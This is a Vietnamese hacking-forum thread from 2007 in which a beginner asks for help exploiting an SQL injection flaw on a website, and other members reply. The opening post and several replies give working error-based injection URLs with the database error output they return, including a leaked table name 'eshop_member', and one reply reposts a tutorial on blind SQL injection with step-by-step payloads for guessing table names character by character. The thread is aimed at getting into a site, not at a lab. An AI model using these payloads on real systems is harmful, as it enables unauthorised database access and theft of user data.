banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận thâm nhập Xin giúp em lỗi SQL Injection này!!!  XML
  [Question]   Xin giúp em lỗi SQL Injection này!!! 11/01/2007 00:05:40 (+0700) | #1 | 35423
hackerboy456
Member

[Minus]    0    [Plus]
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
[Profile] [PM]
Em là newbie mới tập hack, em tìm được 1 trang bị lỗi SQL Ịnection
hxxp://www.victim.com/detail.asp?m=3'
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ''. 

/menu.asp, line 13


Đánh tiếp
hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--
thì được thế này
Code:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'GIAO_TRINH' to a column of data type int.

Đánh tiếp:
hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in('GIAO_TRINH')))--
thì nó ra thế này:
Code:
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'GIAO_TRINH'.

-> Không như mong đợi :cry:

Mong các anh giúp giùm em tiếp theo phải làm như thế nào? Thank nhiều.
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 11/01/2007 02:03:06 (+0700) | #2 | 35453
h3ll0w0rld
Member

[Minus]    0    [Plus]
Joined: 09/01/2007 18:49:02
Messages: 1
Offline
[Profile] [PM]
Đã bị code để bỏ " và '. Giá trị Giao trinh sẽ được xem như hằng hay column.

Khắc phục : dùng char() hoặc ascii();
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 11/01/2007 07:54:42 (+0700) | #3 | 35521
hackerboy456
Member

[Minus]    0    [Plus]
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
[Profile] [PM]
Hic, huynh có thể chỉ ra câu lệnh cụ thể được không, cám ơn nhiều.
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 11/01/2007 09:37:07 (+0700) | #4 | 35547
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
[Profile] [PM] [ICQ]
úmbala
hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201 b from test1 where a>x))--
sau đó bạn cho x từ 1,2-->n
smilie
thử coai tui nói đúng hum
-->thử đập lun thằng VCD3 coai smilie
Cánh chym không mỏi
lol
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 11/01/2007 09:47:15 (+0700) | #5 | 35549
Mr Service
Member

[Minus]    0    [Plus]
Joined: 09/01/2007 12:26:32
Messages: 3
Offline
[Profile] [PM]
Ơ hay sao Gamma95 nick màu vàng lại có tước hiệu là member nhỉ?
Sao tôi cũng có tước hiệu là member sao nick lại màu xám!?

smilie
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 11/01/2007 10:18:45 (+0700) | #6 | 35554
hackerboy456
Member

[Minus]    0    [Plus]
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
[Profile] [PM]

gamma95 wrote:

hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201 b from test1 where a>x))--
 

Thử đến x=4 thì ra cái này
Code:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'eshop_member' to a column of data type int.

Nhưng mà mình chẳng hiểu gì chỗ "select%20top%201 b from test1 where a>x" cả, làm sao huynh biết là có table test1 trong đó vậy?
[Up] [Print Copy]
  [Question]   Re: Xin giúp em lỗi SQL Injection này!!! 11/01/2007 11:16:58 (+0700) | #7 | 35559
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
[Profile] [PM] [ICQ]
Ơ hay sao Gamma95 nick màu vàng lại có tước hiệu là member nhỉ?
Sao tôi cũng có tước hiệu là member sao nick lại màu xám!?  

Vì mình là member mà, phấn đấu mãi chả lên đc Mod nên xin bác conmale cho cái nick màu vàng hù member chơi smilie)
Nhưng mà mình chẳng hiểu gì chỗ "select%20top%201 b from test1 where a>x" cả, làm sao huynh biết là có table test1 trong đó vậy? 

Đơn giản vì mình là admin
smilie
Cánh chym không mỏi
lol
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 13/01/2007 23:36:57 (+0700) | #8 | 36024
hackerboy456
Member

[Minus]    0    [Plus]
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
[Profile] [PM]
Vậy còn chỗ mã hóa bằng ký tự ASCII hay char làm sao để viết vậy?
[Up] [Print Copy]
  [Question]   Re: Xin giúp em lỗi SQL Injection này!!! 14/01/2007 02:04:42 (+0700) | #9 | 36048
[Avatar]
meomap_hp
Member

[Minus]    0    [Plus]
Joined: 04/12/2006 00:15:11
Messages: 46
Offline
[Profile] [PM]
h3ll0w0rld : Đã bị code để bỏ " và '. Giá trị Giao trinh sẽ được xem như hằng hay column.

Khắc phục : dùng char() hoặc ascii();  
----->>?__?
SAO không trả lời vậy
[Up] [Print Copy]
  [Question]   Re: Xin giúp em lỗi SQL Injection này!!! 14/01/2007 23:36:42 (+0700) | #10 | 36226
GrudgeBoy
Member

[Minus]    0    [Plus]
Joined: 12/01/2007 14:16:39
Messages: 18
Offline
[Profile] [PM]
Giời ơi ! Nếu bạn muốn người khác "Trĩ Giáo" dùm thì phải cho biết cái lỗi và giải thích nó chớ ! Bạn để như vậy ai biết đường mà ANS tui nhìn tui cũng mù luon ròi

Thôi để mình tự lên trang web tìm hiểu vậy
smilie)
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 18/01/2007 06:22:25 (+0700) | #11 | 36900
[Avatar]
hoahongtim
Researcher

Joined: 15/07/2002 02:59:49
Messages: 156
Location: Underground
Offline
[Profile] [PM] [WWW] [Yahoo!]
Để hiểu hơn về cách dùng char() hoặc ascii(), mời bạn xem bài viết sau về "Blind SQL Injection" hoặc google.com sẽ giúp bạn !

Bài viết của Pip - Vniss !!


Trước hết phải nói đây là bài cũ rùi, nhưng sau bài này mình sẽ có thêm 1 ví dụ cụ thể chăc sẽ dễ chịu hơn với những ai chưa rõ lắm ( chỉ sợ ai cũng rõ rồi thì phí công wé )
Bài lấy trong kho nhé :
Bài này là bài dịch đầu tay hay sao á
Dựa theo bài viết của : Kevin Spett

Nói qua 1 chút , nếu khai thác theo lỗi SQL injection thông thường ta khai thác qua các error message gửi về từ server .Tuy nhiên 1 số admin đã ngăn việc hiển thị các error message nhưng thật đáng tieec như thế là ko đủ
Nếu như bạn ko nhận được các error message thì đừng lo vì rất có thể chúng ta vẫn khai thác thông tin được qua "blind" sql injection .

Phát hiện lỗi "blind sql injection":

1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5

và câu lệnh SQL được thực hiện sẽ là :

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5

để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:

http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1

và nếu database server thực hiện lệnh

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1

và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .

Khai thác:

Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server

Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :

http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'

( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )

Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.

Hay phải ko các bạn

Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109

Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database

Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện

Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.

Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó

Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )

tiếp theo :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116

Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)

Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)

Tiếp theo:

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111

Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o"

Đoán tiếp kí tự thứ 2 ta làm như sau :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109

(chú ý ta phải đổi đối số từ 1 sang 2 )

và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")

Bài này ko phải là dịch hoàn toàn mà dựa trên sự đọc hiểu của mình và viết lại , nếu các bạn thấy chỗ nào thiếu chính xác thì góp ý nhá ( mong các bạn đừng cười )

À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :

1. Bảng mã ASCII :

Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:

+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)

+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....

+ các mã 48-57 là 10 chữ số

+ các mã 65-90 là các chữ cái hoa A->Z

+ các kí tự 97-122 là các chữ cái thường a->z

+ các mã ASSCII là các kí tự đồ họa

Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình
 
[Up] [Print Copy]
  [Question]   Re: Xin giúp em lỗi SQL Injection này!!! 26/02/2007 15:39:59 (+0700) | #12 | 43184
[Avatar]
meomap_hp
Member

[Minus]    0    [Plus]
Joined: 04/12/2006 00:15:11
Messages: 46
Offline
[Profile] [PM]
bi giờ nếu có được tên bảng rồi thì lấy tên cột làm thế nào? smilie
[Up] [Print Copy]
  [Question]   Re: Xin giúp em lỗi SQL Injection này!!! 26/02/2007 17:47:43 (+0700) | #13 | 43187
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

meomap_hp wrote:
bi giờ nếu có được tên bảng rồi thì lấy tên cột làm thế nào? smilie  


SELECT * from <tên bảng>;

Học SQL căn bản đi bồ.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Xin giúp em lỗi SQL Injection này!!! 01/03/2007 22:23:39 (+0700) | #14 | 43883
[Avatar]
mystery_hacker
Member

[Minus]    0    [Plus]
Joined: 30/06/2006 16:16:03
Messages: 365
Location: Khánh Hòa
Offline
[Profile] [PM] [Yahoo!]
Những bài viết về lỗi SQL injection có rất nhiều trong cuốn sổ tay Hacker. Bạn có thể tìm địa chỉ download trong forum địa chỉ và các tài liệu hữu ích.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|